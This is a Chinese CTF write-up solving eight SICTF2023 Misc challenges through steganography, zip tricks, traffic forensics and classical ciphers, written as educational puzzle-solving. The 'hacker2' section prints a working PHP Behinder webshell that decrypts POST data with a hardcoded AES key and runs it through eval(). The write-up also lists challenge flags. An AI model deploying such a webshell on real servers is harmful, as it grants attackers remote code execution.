[SICTF2023] Misc 高质量 WriteUp

状态简写 状态 状态说明
W Wait 没有人做这道题,你可以开始尝试
S Stuck 题目做到一半思路卡壳
F Finished 完成该题
1 First Blood 获得一血
2 Second Blood 获得二血
3 Third Blood 获得三血
L Lack WP 完成并缺少WP

Misc

1. F | color |

题目说明:

这些毫无规律的颜色中隐藏着怎样的小世界呢?

解题思路:

我不知道啥时候比赛,别人来问我题目我才知道的,然后就上线了,不然这题估计我一血应该没哈问题。

  1. 下载好了题目,就是一张png的题目,这个像素这么多,而且无规律的颜色中,很显然就是颜色频率了。

[SICTF2023] Misc 高质量 WriteUp_第1张图片

  1. 其他颜色平均都在700~800左右,直接把序号写上去,提取一下就出来图片,然后扫描二维码就好了。

[SICTF2023] Misc 高质量 WriteUp_第2张图片

工具链接:Byxs20/FrequencyColor,工具也是我开发,哈哈哈~

  1. 扫描二维码,拿到flag

SICTF{448e8531-c752-4847-ae7e-0e702a8fb915}

补充:

我这题是非预期(也不算非预期,都是一个原理,但是我不是按照出题人的思路解的,这是出题人的思路)

但是出题人的意图是让我们把sava.png图片尾部的zip提取出来,再加上PK文件头,然后解伪加密,得到encode.py,再根据encode.pydecode.py

encode.py

from PIL import Image
import random
flag = Image.open("flag.png")
flag = flag.convert("RGB")
new = Image.new("RGB",flag.size)
h=flag.height
w=flag.width
num=[0,128,255]
for i in range(h):
    for k in range(w):
        r,g,b = flag.getpixel((i,k))
        if r == 0 and g == 0 and b ==0:
            new.putpixel((i,k),((random.choice(num),random.choice(num),random.choice(num))))
        else:
            new.putpixel((i,k),(random.randint(0,255),random.randint(0,255),random.randint(0,255)))
new.save('save.png')

decode.py

import itertools
from PIL import Image


num = [0, 128, 255]
lis = list(itertools.product(num, repeat=3))
img = Image.open("./save.png")
new_img = Image.new("L", size=(img.width, img.height), color=255)

for y in range(img.height):
    for x in range(img.width):
        if img.getpixel((x, y)) in lis:
            new_img.putpixel((x, y), value=0)
new_img.show()

[SICTF2023] Misc 高质量 WriteUp_第3张图片


2. F | 签到打卡完成 |

题目描述:

听说,这个签到题扫码关注公众号回复一个特定的“Key”就可以拿到Flag,出题人把Key也藏在题目中了。

聪明的人只需要两步,你需要几步?

解题思路:

  1. 下载好题目就是一个图片

[SICTF2023] Misc 高质量 WriteUp_第4张图片

  1. 由于之前做过该平台的题目,所以知道是那个公众号,这张图片,你把亮度和对比图如图调整一下,微信运气好可以扫描出来,实在不行用CQR。

[SICTF2023] Misc 高质量 WriteUp_第5张图片

[SICTF2023] Misc 高质量 WriteUp_第6张图片

http://weixin.qq.com/r/dS-v9yPE436crWeU93pn

  1. key用010editor打开图片就发现了

[SICTF2023] Misc 高质量 WriteUp_第7张图片

[SICTF2023] Misc 高质量 WriteUp_第8张图片

SICTF{fb23cefd-487f-42dd-a343-2a06194efc60}


3. F | Hacker |

题目描述:

树木是个大黑客,经过调查,在一次玩靶场的过程中,喜欢兔子的他把flag藏在了根目录的tmp目录下,我们截取了他回头查看flag时的流量,你能找到他藏起来的flag并进行解密吗?

解题思路:

  1. 打开后看见了很多base64,但是一个一个复制不方便,所以我就直接用tshark提取。
tshark.exe -r .\hacker.pcapng -Y 'http && data-text-lines' -T fields -e text > out.txt

[SICTF2023] Misc 高质量 WriteUp_第9张图片

稍微处理一下,删掉不需要的。

[SICTF2023] Misc 高质量 WriteUp_第10张图片

f7f89f88MS5waHAKZHZ3YV9lbWFpbC5wbmcKZTI2NGM1NWJlCi92YXIvd3d3L2h0bWwvaGFja2FibGUvdXBsb2FkcwphN2ViM2RmODc0ZQo=bbe13

bbc49d5f83e5ZTI2NGM1NWJlCi92YXIvdG1wL3Bhc3N3b3JkMXNHdWlfMXNfc2h1bXUKYTdlYjNkZjg3NGUKae13e2ed

e9b74d9ZmxhZy50eHQKZTI2NGM1NWJlCi92YXIvdG1wL3Bhc3N3b3JkMXNHdWlfMXNfc2h1bXUKYTdlYjNkZjg3NGUK4c61b3e96769

1a0068f71eU0lDVEZ7VGhpc19pc19hX2Zha2VfZmw0ZyEhIX1lMjY0YzU1YmUKL3Zhci90bXAvcGFzc3dvcmQxc0d1aV8xc19zaHVtdQphN2ViM2RmODc0ZQo=390863c

cd220ecca413ZTI2NGM1NWJlCi91c3IKYTdlYjNkZjg3NGUK42bef5c

d5477d0ccYmluCmdhbWVzCmluY2x1ZGUKbGliCmxvY2FsCnNiaW4Kc2hhcmUKc3JjCmUyNjRjNTViZQovdXNyCmE3ZWIzZGY4NzRlCg==b39643995

66d71bf6ZTI2NGM1NWJlCi90bXAKYTdlYjNkZjg3NGUK6258c34d556

e8aeefZmxhZy50eHQKZTI2NGM1NWJlCi90bXAKYTdlYjNkZjg3NGUK954bde

423aa528aVTJGc2RHVmtYMTliRU4zRDh2RmVHMzlWeVlYUHdsZTJtTVFMaDVUMUhZaVNJMVhDeDdySmhzRG5wOXFMcFVRQg0KeUlUZDA1VXUwNVpBdjBvPWUyNjRjNTViZQovdG1wCmE3ZWIzZGY4NzRlCg==ab05b5
  1. 使用CyberChef,复制下面的base64到CyberChef,发现解开是乱码
423aa528aVTJGc2RHVmtYMTliRU4zRDh2RmVHMzlWeVlYUHdsZTJtTVFMaDVUMUhZaVNJMVhDeDdySmhzRG5wOXFMcFVRQg0KeUlUZDA1VXUwNVpBdjBvPWUyNjRjNTViZQovdG1wCmE3ZWIzZGY4NzRlCg==ab05b5

[SICTF2023] Misc 高质量 WriteUp_第11张图片

  1. 主要这段base64有个==,一般是base64结束后的补位符号,所以我们先把后面的ab05b5删掉,依旧乱码
423aa528aVTJGc2RHVmtYMTliRU4zRDh2RmVHMzlWeVlYUHdsZTJtTVFMaDVUMUhZaVNJMVhDeDdySmhzRG5wOXFMcFVRQg0KeUlUZDA1VXUwNVpBdjBvPWUyNjRjNTViZQovdG1wCmE3ZWIzZGY4NzRlCg==

[SICTF2023] Misc 高质量 WriteUp_第12张图片

我感觉前面的423aa5也不太对劲,就一个一个的删。

[SICTF2023] Misc 高质量 WriteUp_第13张图片

当我删了一个4,就出现了。

U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQByITd05Uu05ZAv0o=

这个明显就是Aes/Des/Rabbit等之类的加密。

  1. 同理处理下面的base64,这边我就直接放图片了
1a0068f71eU0lDVEZ7VGhpc19pc19hX2Zha2VfZmw0ZyEhIX1lMjY0YzU1YmUKL3Zhci90bXAvcGFzc3dvcmQxc0d1aV8xc19zaHVtdQphN2ViM2RmODc0ZQo=390863c

[SICTF2023] Misc 高质量 WriteUp_第14张图片

我们得到了密码了:password1sGui_1s_shumu

  1. 注意题目的描述,喜欢兔子的他把flag藏在了根目录的tmp目录下,刚刚好是在tmp目录下,兔子就是rabbit加密。解密的网站:http://www.esjson.com/rabbitEncrypt.html

[SICTF2023] Misc 高质量 WriteUp_第15张图片

SICTF{50da673c-3b59-4a6f-81da-79cba7eb63b1}


4. F1 | geek_challenge |

题目描述:

请使用NC连接

这道题目很早就出来了,但是一直没师傅做,我也不知道为嘛,那个时候没进比赛群,然后我就说我来试试,然后遇到了题目的出错的问题。导致我脚本没办法正常跑起来,然后树木重新写了个python版本的,题目上线后,脚本直接run就好了,抢了个一血。

解题思路:

  1. 看题目,就是问你一些简单的编程问题。

[SICTF2023] Misc 高质量 WriteUp_第16张图片

  1. 第一个做完了第二个又来了,一直循环。

[SICTF2023] Misc 高质量 WriteUp_第17张图片

  1. 所以写个脚本就好了
import pwn

io = pwn.remote("ctf.qsnctf.com", 10240)

while True:
    rec = io.recvline()
    print(rec.decode())

    if b"= ?" in rec:
        answer = eval(rec.decode()[:-5])
        data = str(answer).encode()
        io.sendline(data)
  1. run后,坐等报错即可

[SICTF2023] Misc 高质量 WriteUp_第18张图片

SICTF{29e5b2ac-f2f9-40f5-b4b8-37f93639bb48}


5. F3 | EzMisc |

题目描述:

一个神奇的压缩包

拿了个三血

  1. 伪加密,09改为00

[SICTF2023] Misc 高质量 WriteUp_第19张图片

  1. 解压压缩包有个7z和zip,7z有密码,先看zip。

[SICTF2023] Misc 高质量 WriteUp_第20张图片

[SICTF2023] Misc 高质量 WriteUp_第21张图片

得到了密码Password_1s_here_ohhhhh~,解压开来7z,得到flag.py

from PIL import Image

from base64 import b64encode ,b64decode

from FLAG import FLAG

import cv2

OOO000O0000000OOO =''
OO00000O0O00OOOOO =''
O0OO0OO0O0O0OOOO0 =Image .open (OOO000O0000000OOO )
O000OOO0O0000OO00 =Image .open (OO00000O0O00OOOOO )
OOO0OO0O00OO0O00O =cv2 .imread ('')
OO00OOO0OOO000OO0 =OOO0OO0O00OO0O00O .shape [1]
O0OOO0OOO00OO00OO =OOO0OO0O00OO0O00O .shape [0]
O0000OOO0O00O00OO =Image .new ("RGB",(OO00OOO0OOO000OO0 ,O0OOO0OOO00OO00OO ))
OO00OOOO00O0OOO0O =O0OO0OO0O0O0OOOO0 .convert ('RGB')
O000OOO0O0OO0000O =O000OOO0O0000OO00 .convert ('RGB')
for OOO0O0OO000O0O000 in range (OO00OOO0OOO000OO0 ):
    for OOOOO0000000O0OOO in range (O0OOO0OOO00OO00OO ):
        OO0OO00O0O0000O0O ,OO000O0O00000O0O0 ,OOO0O00OO000O0O00 =OO00OOOO00O0OOO0O .getpixel ((OOO0O0OO000O0O000 ,OOOOO0000000O0OOO ))
        OO00OOOO0OOO000OO ,O000OO0O0OO00O0O0 ,O00000OO0OO0O0OOO =O000OOO0O0OO0000O .getpixel ((OOO0O0OO000O0O000 ,OOOOO0000000O0OOO ))
        OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
        OO00OOOO0OOO000OO =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
        OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
        OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
        O000OO0O0OO00O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
        OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
        OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
        OO000O0O00000O0O0 =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
        OO0OO00O0O0000O0O =OO0OO00O0O0000O0O ^OO000O0O00000O0O0
        OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
        O00000OO0OO0O0OOO =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
        OO000O0O00000O0O0 =OO000O0O00000O0O0 ^O00000OO0OO0O0OOO
        O0OOO0000OOOOO00O =OO0OO00O0O0000O0O ^OO00OOOO0OOO000OO
        OO0O0OOOOO0O00OO0 =OO000O0O00000O0O0 ^O000OO0O0OO00O0O0
        O00O00O00OO0O00O0 =OOO0O00OO000O0O00 ^O00000OO0OO0O0OOO
        if (O0OOO0000OOOOO00O ==0 ):
            O0OOO0000OOOOO00O =255
        if (OO0O0OOOOO0O00OO0 ==0 ):
            OO0O0OOOOO0O00OO0 =255
        if (O00O00O00OO0O00O0 ==0 ):
            O00O00O00OO0O00O0 =255
        O0OOO0000OOOOO00O =str (b64encode (str (O0OOO0000OOOOO00O ).encode ()),'utf-8')
        OO0O0OOOOO0O00OO0 =str (b64encode (str (OO0O0OOOOO0O00OO0 ).encode ()),'utf-8')
        O00O00O00OO0O00O0 =str (b64encode (str (O00O00O00OO0O00O0 ).encode ()),'utf-8')
        with open ('secret~.txt','a')as file0 :
            print (O0OOO0000OOOOO00O [::-1 ],OO0O0OOOOO0O00OO0 [::-1 ],O00O00O00OO0O00O0 [::-1 ],file = file0 )

代码被混淆了,我手动改了一下代码。

from PIL import Image
from FLAG import FLAG
from base64 import b64encode

import cv2

img1_path = ''
img2_path = ''
img1 = Image .open(img1_path)
img2 = Image .open(img2_path)
img3 = cv2 .imread('')
width = img3 .shape[1]
height = img3 .shape[0]
new_img = Image .new("RGB", (width, height))
img1 = img1 .convert('RGB')
img2 = img2 .convert('RGB')
for x in range(width):
    for y in range(height):
        r1, g1, b1 = img1 .getpixel((x, y))
        r2, g2, b2 = img2 .getpixel((x, y))
        r1 = r1 ^ r2
        r2 = r1 ^ r2
        r1 = r1 ^ r2
        g1 = g1 ^ g2
        g2 = g1 ^ g2
        g1 = g1 ^ g2
        r1 = r1 ^ g1
        g1 = r1 ^ g1
        r1 = r1 ^ g1
        g1 = g1 ^ b2
        b2 = g1 ^ b2
        g1 = g1 ^ b2
        r3 = r1 ^ r2
        g3 = g1 ^ g2
        b3 = b1 ^ b2
        if (r3 == 0):
            r3 = 255
        if (g3 == 0):
            g3 = 255
        if (b3 == 0):
            b3 = 255
        r3 = str(b64encode(str(r3).encode()), 'utf-8')
        g3 = str(b64encode(str(g3).encode()), 'utf-8')
        b3 = str(b64encode(str(b3).encode()), 'utf-8')
        with open('secret~.txt', 'a')as f:
            print(r3[::-1], g3[::-1], b3[::-1], file=f)

如果实在看不懂,大概率能明白是打开了两张图片,打开f1ag.png和一张图片做xor,然后保存到了secret~.txt

  1. 我们先还原secret~.txt的图片(运行下面代码前,在当前目录新建一个out目录)
import cv2
import base64
import numpy as np

with open("secret~.txt") as f:
    data = f.read().splitlines()[:-2]

img = []
for line in data:
    bgr = [base64.b64decode(i[::-1]).decode() for i in line.split(" ")][::-1]
    img.append(bgr)
img = np.array(img, np.uint8)

dic = {1: 268780, 2: 134390, 4: 67195, 5: 53756, 10: 26878, 20: 13439, 89: 3020, 151: 1780, 178: 1510, 302: 890, 356: 755, 445: 604, 604: 445, 755: 356, 890: 302, 1510: 178, 1780: 151, 3020: 89, 13439: 20, 26878: 10, 53756: 5, 67195: 4, 134390: 2}
for height, width in dic.items():
    cv2.imwrite(f"./out/{height}_{width}.png", img.reshape(height, width, 3))
  1. out目录里面 我们得到了一张图片

[SICTF2023] Misc 高质量 WriteUp_第22张图片

很明显是歪的,向右旋转90°就正常了。

[SICTF2023] Misc 高质量 WriteUp_第23张图片

明显能看到有两个人的感觉,而且大的这个女生就是我们的f1ag.png

  1. 我这边是非常规解,正常的话,是要把这个过程逆过来,但是中间xor太多了,使用Stegsolvef1ag.png和上面的图片进行xor后得到下面的图片(注意:我第一次没有得到这个图片,然后我给上面的图片水平翻转了一下就得到了清晰的图片了)

为什么需要向右旋转90°和水平翻转是因为我是 列优先 生成的图片,但是出题人是行优先

[SICTF2023] Misc 高质量 WriteUp_第24张图片

使用识图工具就好了,我这边用的插件。

[SICTF2023] Misc 高质量 WriteUp_第25张图片

[SICTF2023] Misc 高质量 WriteUp_第26张图片

所以这个角色叫小鸟游六花,拼音是xiaoniaoyouliuhua,为什么我知道是拼音是根据hint.txt,再加上f1ag.png被隐写工具隐写了。

[SICTF2023] Misc 高质量 WriteUp_第27张图片

[SICTF2023] Misc 高质量 WriteUp_第28张图片

png和jpg特征一样

  1. 使用OurSecret解密,得到flag.txt

[SICTF2023] Misc 高质量 WriteUp_第29张图片

SICTF{3d04cd71-5b2d-4bce-abec-a6f2f95c3665}

补充:

这个题目不知道怎么评价,因为他的出题的那个脚本,我把逆代码写出来后还是得不到清楚的图片,因为我已经做出来了,就找树木反应,树木给了正确解题代码,然后拿到正确解题代码

出题人的解题脚本:

from PIL import Image
from base64 import b64encode,b64decode
import cv2

Dir='f1ag.png'

im = Image.open(Dir)

x=604
y=445
printf = Image.new("RGB", (x, y))
file = open('secret~.txt') 
rgb_im = im.convert('RGB')

for i in range(x):
    for j in range(y):
        line = file.readline()
        rgb = line.split(" ")
        R = rgb[0]
        R = R[::-1]
        R = b64decode(R)
        R = int(R)
        G = rgb[1]
        G = G[::-1]
        G = b64decode(G)
        G = int(G)
        B = rgb[2]
        B = B[::-1]
        B = b64decode(B)
        B = int(B)
        if(R == 255):
            R == 0
        if(G == 255):
            G = 0
        if(B == 255):
            B = 0
        r, g, b = rgb_im.getpixel((i, j))
        out1 = r ^ R 
        out2 = g ^ G 
        out3 = b ^ B
        printf.putpixel((i, j), (int(out3), int(out1), int(out2)))
printf.save("flag.png")

如果你看了一下上面的代码,出题人的解题代码只是简单的xor和黑色变成白色(所以就出现了 stegslove 非预期解的情况)

我再来解释一下,我不确定(强调一下我不确定!!!)
但是大概率是,出题人的加密脚本,本意是两个图片的像素值互换位置,然后再xor
首先互换位置不影响xor,但是由于他xor太多了,自己给自己搞晕了,哈哈哈~
然后题目出后,自己没有去尝试,然后就导致出现了,你就算把逆脚本写出来,也得不到很清楚的图片

大佬们,如果不对欢迎联系我,单杀我,哈哈哈!

6. F | hacker2 |

题目描述:

树木不小心把重要的信息放在了自己的shell当中,或许对你的解密会有帮助
  1. 先过滤http流,看到了一个信息,一个php代码,感觉很有用处,首先我这个时候并不知道冰蝎流量,然后我看见这个后,我就ctrl+shift+o,给他保存下来了。

[SICTF2023] Misc 高质量 WriteUp_第30张图片

  1. 代码如下,后面经过了解知道是冰蝎后,key很有用处,他是AES的key,也就是说key是7d7c23e87b47368b

@error_reporting(0);
session_start();
    $key="7d7c23e87b47368b"; //0123456789abcdef
 $_SESSION['k']=$key;
 $post=file_get_contents("php://input");
 if(!extension_loaded('openssl'))
 {
  $t="base64_"."decode";
  $post=$t($post."");
  
  for($i=0;$i<strlen($post);$i++) {
        $post[$i] = $post[$i]^$key[$i+1&15]; 
       }
 }
 else
 {
  $post=openssl_decrypt($post, "AES128", $key);
 }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
 class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
  1. 过滤器改为http && data-text-lines

[SICTF2023] Misc 高质量 WriteUp_第31张图片

  1. 将89序号后的http流下面的base64字符串全部复制粘贴到了txt中

[SICTF2023] Misc 高质量 WriteUp_第32张图片

如图:

[SICTF2023] Misc 高质量 WriteUp_第33张图片

  1. 一个一个的解,我先解了一下,解到了大base64就卡住了,我就从小base64开始。(补充说了解决大base64卡住的问题)

[SICTF2023] Misc 高质量 WriteUp_第34张图片

[SICTF2023] Misc 高质量 WriteUp_第35张图片

c0rRect!!!,英文翻译过来就是正确的意思。

  1. 再根据describe.txt
大黑客树木再次上传了shell并用工具进行连接,他在上传目录的一堆测试txt中找到了重要的字符串,我们观察并截取了流量
你能告诉我们他上传的shell的名称和key值以及最终找到的重要字符串吗?
flag格式:SICTF{shell名称_密钥_文本文件中存储的字符串}

SICTF{she1l_7d7c23e87b47368b_c0rRect!!!}

补充:

也可以不用去下载冰蝎V2工具,因为大的文本,这个工具会卡住,但是下面的方法不会卡住,只能说CyberChef, YYDS!!!

[SICTF2023] Misc 高质量 WriteUp_第36张图片

先Base64解码,然后Aes解密,Key为7d7c23e87b47368b,IV为0000000000000000000000000000000,Mode为CBC


7. F3 | 王八树木 |

题目描述:

树木就是个王八(doge)

解题思路:

明明能拿一血,气死了,卡猫脸变化半天,因为我自己的猫脸变化代码不对,最后非常规拿个三血

  1. 010editor 打开树木,尾部一眼JPG,你们自己找个脚本了,我用的也是脚本

[SICTF2023] Misc 高质量 WriteUp_第37张图片

  1. 仔细看图片,看到这个小圆圈了没,不说百分百,大概率silenteye

[SICTF2023] Misc 高质量 WriteUp_第38张图片

  1. 将这个图片尾部的pkzip拿出来,里面是pass.txt

[SICTF2023] Misc 高质量 WriteUp_第39张图片

爆破密码为123456

[SICTF2023] Misc 高质量 WriteUp_第40张图片

  1. 打开pass.txt,密码为SI!!!!!!

[SICTF2023] Misc 高质量 WriteUp_第41张图片

[SICTF2023] Misc 高质量 WriteUp_第42张图片

  1. 保存参数.txt,打开是2, 1, 2

[SICTF2023] Misc 高质量 WriteUp_第43张图片

  1. 下面是flag.bmp,一眼猫脸变化,但是我的猫脸变化代码不对,只有2个参数,我就去找代码了,找了半天没找到,于是选择用我目前的代码选择爆破

[SICTF2023] Misc 高质量 WriteUp_第44张图片

  1. 爆破了很多

[SICTF2023] Misc 高质量 WriteUp_第45张图片

当a=1,b=3的时候,可以明显看到,基本能看到SIC,我们是SICTF,所以就能慢慢拿到flag

[SICTF2023] Misc 高质量 WriteUp_第46张图片

这是如何看的示例

[SICTF2023] Misc 高质量 WriteUp_第47张图片

SICTF{a9549c89-d261-4bd7-9643-60874dbd28b8}

补充:

import os
import cv2
import argparse
import numpy as np
from PIL import Image


parser = argparse.ArgumentParser()
parser.add_argument('-t', type=str, default=None, required=True, choices=["encode", "decode"],
                    help='encode | decode')
parser.add_argument('-f', type=str, default=None, required=True,
                    help='输入文件名称')
parser.add_argument('-n', type=int, default=1, required=False,
                    help='输入参数n')
parser.add_argument('-a', type=int, default=None, required=True,
                    help='输入参数a')
parser.add_argument('-b', type=int, default=None, required=True,
                    help='输入参数b')
args  = parser.parse_args()


def arnold(img, a, b):
    new_img = np.zeros((r, c, 3), np.uint8)

    for _ in range(n):
        for i in range(r):
            for j in range(c):
                x = (i + b * j) % r
                y = (a * i + (a * b + 1) * j) % c
                new_img[x, y] = img[i, j]
        img = np.copy(new_img)
    return new_img

def dearnold(img, n, a, b):
    new_img = np.zeros((r, c, 3), np.uint8)

    for _ in range(n):
        for i in range(r):
            for j in range(c):
                x = ((a * b + 1) * i - b * j) % r
                y = (-a * i + j) % c
                new_img[x, y] = img[i, j]
        img = np.copy(new_img)
    return new_img

if __name__ == '__main__':
    img_path = os.path.abspath(args.f)
    file_name = os.path.splitext(img_path)[0].split("\\")[-1]
    img = np.array(Image.open(img_path), np.uint8)[:,:,::-1]
    r, c = img.shape[:2]
    n, a, b = args.n, args.a, args.b

    if args.t == "encode":
        new_img = arnold(img, a, b)
    elif args.t == "decode":
        new_img = dearnold(img, n, a, b)
    else:
        print("[-] 图片宽高不一致, 无法进行猫脸变化!")
        exit()

    cv2.imwrite(f"./{file_name}_{n}_{a}_{b}.png", new_img)

命令:python .\main.py -t decode -f .\flag.bmp -n 2 -a 1 -b 2

[SICTF2023] Misc 高质量 WriteUp_第48张图片


8. F2 | Revenge |

题目描述:

可爱的小猫给你发送了一张图片,并说一定要留意这张图片。

解题思路:

轻松拿了个二血,也不错了

  1. 使用zsteg看一下图片,得到Password:SICTF{this_1s_f1ag}

[SICTF2023] Misc 高质量 WriteUp_第49张图片

  1. 解压zip,得到了key.pyc,使用uncompyle6,逆向一下pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.8.8 (tags/v3.8.8:024d805, Feb 19 2021, 13:18:16) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: encode.py
# Compiled at: 2023-01-17 14:47:26
# Size of source mod 2**32: 439 bytes
import secret
Hg = np.float32(cv2.imread('flag.png', 1))
for i in range(64):
    for j in range(64):
        Si = randint(0, 2)
        Fe = Hg[:, :, Si]
        Mg = cv2.dct(Fe[8 * i:8 * i + 8, 8 * j:8 * j + 8])
        if secret[(i * 64 + j)] == '1':
            Mg[(7, 7)] = 20
        else:
            if secret[(i * 64 + j)] == '0':
                Mg[(7, 7)] = -20
        Fe[8 * i:8 * i + 8, 8 * j:8 * j + 8] = cv2.idct(Mg)
        Hg[:, :, Si] = Fe

cv2.imwrite('flag.png', Hg)
# okay decompiling .\key.pyc
  1. 代码大概意思就是用得到dct,我也不太懂,但是我就知道是8x8的图片范围做cv2.dct,然后如果secret的第一字节是1cv2.dct后的shape是8x8,然后第8行第8列,也就是最后一行最后一列,变成20

注意:这个题目他用了一个randit(0, 2),这个函数就会导致可能是在B通道,可能是在G通道,或者是在R通道,也就是说0的时候是B通道,1的时候是G通道,2的时候是R通道,因为cv2读取图片后就是BGR的通道顺序

  1. 逆代码如下:
import cv2
import numpy as np


img = np.float32(cv2.imread('flag.png', 1))

bin_str = ""
for i in range(64):
    for j in range(64):
        for channel in range(3):
            channel_img = img[:, :, channel]
            number = cv2.dct(channel_img[8 * i:8 * i + 8, 8 * j:8 * j + 8])
            # print(number[(7, 7)])
            if number[(7, 7)] > 10:
                bin_str += "1"
            elif number[(7, 7)] < -10:
                bin_str += "0"

print(bin_str)
print(len(bin_str))

运行结果:

0100101001110000001100100100101001000100010001000110101101101101010100010011000101010010011100110101000100111001011001100110101000110110001100110111000001110100011000010101100001000001010100110110001001000111011001010100101000110101011101010111000100110010010101010110001101100101010101110100110001100101010100110100001001111000010001100101011101000110010101010101100000110111011010000110001101010111001100100110001001101010010100100110110101000111010100100110111001001011010101000011100101110001010011100110011001100100010001110100110000110010011100100011100001110011001110000110110101101011010100010110111101000110010001100110010101010110001101000101101001111000001100100100011101000010010100100101010101010101011000110101011001101001011010110101001001100101010101100111010101011010011011110011100100110111010101010100011001011001011001110101001100110001010100100011010101000110010000110101001101100010011001010110101001000101011011110100001101110111010100010111011101000110010000110101100101110111010101000100101101101011001101110101001100110110011101010101101001101001010110100110100101100110010000100011001001000001011000100100100001110000011001010101101001110110010000010111100101000010010011010100101001100111010101000110101001001011010100110111011101110010011110100101001001110010011100100011001100110011001100100111010001100001001110000110010101100100001101010111100001000111010000100110100000110101010011100110001001110010010101010111100001100011011101110100001001001011010110000101011101100010011010000100110101000011011110100101101000110010010001000111000101110100010000010011000101110100011000110111100101001010011011100011011101000001011101010111101001000110010010110100100000111001011001110110110101101111010011100100001001101010010010100111001101111001011000100100010100110100011010100100101000110101011100100111010101001100010000010100001001000010001100100100110001101111010010100111011100110110011101110110010100110001010010000110000101010101011010000110101101010010010011010110101100110010001101000110001001000101011101000011001001110011011011110101010101110011011010000101010101100111010101000101010101010100010001010100110101010100011010010100110100111001001100100011001101101001011100110101010101110101011011100100101000110011010100010110100001100100010011100011100101001100011000110100111000110100001101110011011001101011010000110110010001110011010001110011001001000001011100010110010101110111011110000111100001011010010001000110000101010101010001010111001101010011011000100011011100110100011001110101100101010000001100110111000000111001001101000011010001110000010100000110100001110110010011000111001001101111010011000011100001101000011010100101011001101111010010000111011101000100011110100110001001000011011000110101010101011001010000110011001001101000010110100011001101110000001100100111011101101110010110100101001101100011011011100101101001100100011110000011001100110001011010100101000101000101011100100011011001001011011110000110111101100101001100100110001001101010011000010111001001110011001101110111000001000001011100110100100001101001011100000100110101000010001101010110000101100010001100010100000101110100011100010110100101100110001100100111100001001100010001000100101100110011010001000101001100110101011100010110100001000100010000010101000001001010010011000100101001101111011110100100110001101011011110010100010101011000011101110110111001010011001100110110010101110011010100010110010101001100011000010100001001001010010101010100011001101101011100100100011101011001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
4096

原图是512x512,然后8x8的小范围,所以一共就会有4096 bit,我一开始没做出来,是因为我给的条件是number[(7, 7)] > 15或者``number[(7, 7)] < -15`,导致出现了很多的没匹配到,后面我看了一下长度不对,我就给代码调整到了10和-10

  1. 然后2进制转Ascii,发现Base系列字符串

[SICTF2023] Misc 高质量 WriteUp_第50张图片

  1. 解base系列,base58 --> base32 --> base64

[SICTF2023] Misc 高质量 WriteUp_第51张图片

  1. 我先拿到quipqiup,进行字母频率的在线工具,原理参考维基百科 或者 BiliBili Video

[SICTF2023] Misc 高质量 WriteUp_第52张图片

发现得不到结果,这时候肯定不是简单的单表替换了,大概率是维吉尼亚加密的了

  1. 使用https://www.guballa.de/vigenere-solver进行维吉尼亚密码的爆破

[SICTF2023] Misc 高质量 WriteUp_第53张图片

You are a good CTFer because you can solve my challenge,next i will give you a flag,my secret is SICTF{5f9c2024-57ef-4b73-be54-3737e36c2bbb},hava fun!

SICTF{5f9c2024-57ef-4b73-be54-3737e36c2bbb}

你可能感兴趣的:(python,numpy,opencv)